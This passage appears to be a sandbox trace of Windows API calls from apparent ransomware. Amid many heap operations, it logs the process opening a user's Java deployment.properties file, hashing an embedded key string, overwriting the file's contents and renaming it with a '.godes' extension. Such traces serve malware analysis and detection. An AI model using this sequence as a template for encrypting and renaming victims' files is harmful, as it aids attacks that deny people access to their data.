hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0115.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.089] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.089] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.089] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.089] PathFindFileNameW (pszPath="") returned="" [0115.089] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.089] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.090] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.090] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0115.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0115.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.090] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0115.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.091] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=719) returned 1 [0115.091] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.093] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.093] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.094] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.094] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.094] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.094] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x2cf, lpOverlapped=0x0) returned 1 [0115.094] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.094] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.094] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.094] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.094] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.095] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.095] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.095] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.095] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.095] GetLastError () returned 0x0 [0115.095] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.095] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.095] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2d0) returned 0x331e748 [0115.095] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.095] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.095] WriteFile (in: hFile=0x624, lpBuffer=0x331e748*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331e748*, lpNumberOfBytesWritten=0x3b2fb24*=0x2ca, lpOverlapped=0x0) returned 1 [0115.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.096] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.096] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.096] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.096] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.096] CloseHandle (hObject=0x624) returned 1 [0115.097] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0115.097] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0115.097] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0115.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.godes")) returned 1 [0115.098] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.098] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0115.099] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfc) returned 0x328fea0 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33203d8 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32367d0 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32519b8 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3323138 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3323200 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3236620 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251cd8 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251da0 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320288 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.099] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.099] 